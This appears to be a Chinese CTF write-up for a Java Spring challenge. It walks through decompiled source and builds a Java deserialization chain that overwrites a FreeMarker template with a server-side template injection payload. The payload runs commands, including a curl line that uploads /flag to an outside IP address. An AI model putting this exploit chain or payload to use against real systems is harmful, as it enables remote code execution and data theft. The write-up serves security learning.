题目

ODTB0s.png

Controller

ODTUMK.png
看下路由

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Contorller;

import com.ycbjava.Utils.NewObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    @ResponseBody
    public String index() {
        return "Welcome to YCB";
    }

    @RequestMapping({"/templating"})
    public String templating(@RequestParam String name, Model model) {
        model.addAttribute("name", name);
        return "index";
    }

    @RequestMapping({"/getflag"})
    @ResponseBody
    public String getflag(@RequestParam String data) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(data);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(decode);
        NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
        return "Success";
    }
}

/templating路由会将传入的参数name存入模型中,然后返回index模板文件

/getflag路由对传入的data参数进行base64解码,然后进行反序列化。

Utils

HtmlMap.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ycbjava.Utils;

import java.io.Serializable;
import java.util.Collection;
import java.util.Map;
import java.util.Set;

public class HtmlMap implements Map, Serializable {
    public String filename;
    public String content;

    public HtmlMap() {
    }

    public int size() {
        return 0;
    }

    public boolean isEmpty() {
        return false;
    }

    public boolean containsKey(Object key) {
        return false;
    }

    public boolean containsValue(Object value) {
        return false;
    }

    public Object get(Object key) {
        try {
            Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
            return obj;
        } catch (Exception var4) {
            Exception e = var4;
            throw new RuntimeException(e);
        }
    }

    public Object put(Object key, Object value) {
        return null;
    }

    public Object remove(Object key) {
        return null;
    }

    public void putAll(Map m) {
    }

    public void clear() {
    }

    public Set keySet() {
        return null;
    }

    public Collection values() {
        return null;
    }

    public Set<Map.Entry> entrySet() {
        return null;
    }
}

明显关注get方法

public Object get(Object key) {
        try {
            Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
            return obj;
        } catch (Exception var4) {
            Exception e = var4;
            throw new RuntimeException(e);
        }
    }

get方法调用了HtmlUploadUtil的uploadfile方法
HtmlUploadUtil.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ycbjava.Utils;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;

public class HtmlUploadUtil {
    public HtmlUploadUtil() {
    }

    public static boolean uploadfile(String filename, String content) {
        if (filename != null && !filename.endsWith(".ftl")) {
            return false;
        } else {
            String realPath = "/app/templates/" + filename;
            if (!realPath.contains("../") && !realPath.contains("..\\")) {
                try {
                    BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
                    writer.write(content);
                    writer.close();
                    return true;
                } catch (IOException var4) {
                    IOException e = var4;
                    System.err.println("Error uploading file: " + e.getMessage());
                    return false;
                }
            } else {
                return false;
            }
        }
    }
}

它的upload方法,要求上传文件以.ftl结尾,并且防止了路径穿越,然后传入到/app/templates路径
HtmlInvocationHadnler.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class HtmlInvocationHandler implements InvocationHandler, Serializable {
    public Map obj;

    public HtmlInvocationHandler() {
    }

    public HtmlInvocationHandler(Map obj) {
        this.obj = obj;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = this.obj.get(method.getName());
        return result;
    }
}

HtmlInvocationHadnler继承了nvocationHandler接口,而且存在invoke方法,所以通过动态代理可以触发invoke方法

invoke方法里面调用了 get方法,那就可以想到利用invoke来触发HtmlMap#get,然后触发HtmlUploadUtil#upload进行ftl文件上传。

而路由/templating可以触发模板渲染,那么如果可以进行模板注入,就可以进行RCE

FTL是什么?

FTL即FreeMarker Template Language,FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
freemarker模版注入 - Escape-w - 博客园 (cnblogs.com)
拿一个网上的payload做一下

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

image-20241009180540772
注意覆盖掉index.ftl,这样templating的时候可以执行恶意的ftl
那么走哪个反序列进去触发invoke呢,看下黑名单

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class NewObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLISTED_CLASSES = new HashSet();

    public NewObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (BLACKLISTED_CLASSES.contains(desc.getName())) {
            throw new SecurityException("Class not allowed: " + desc.getName());
        } else {
            return super.resolveClass(desc);
        }
    }

    static {
        BLACKLISTED_CLASSES.add("java.lang.Runtime");
        BLACKLISTED_CLASSES.add("java.lang.ProcessBuilder");
        BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        BLACKLISTED_CLASSES.add("java.security.SignedObject");
        BLACKLISTED_CLASSES.add("com.sun.jndi.ldap.LdapAttribute");
    }
}

选择多样,随便选个入口都行,就用cc1的AnnotationInvocationHandler吧

利用链

AnnotationInvocationHandler#readObject->
HtmlInvocationHadnler#invoker->
HtmlMap#get->
HtmlUploadUtil#upload

exp

import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

/**
 * @ClassName exp
 * @Description 
 * @Author ta0
 * @Date 2024年10月09日 17:58
 * @Version 1.0
 */

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        HtmlMap hm = new HtmlMap();
        hm.filename="index.ftl";
        hm.content = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag 101.43.121.110:4567\")}";
        HtmlInvocationHandler h = new HtmlInvocationHandler(hm);
        Map proxy=(Map) Proxy.newProxyInstance(exp.class.getClassLoader(),new Class<?>[]{Map.class},h);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj=constructor.newInstance(Target.class,proxy);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
    }
}

image-20241009185825037
image-20241009185928705
image-20241009185937949
本地测试修改指令也能拿到权限
image-20241009190128649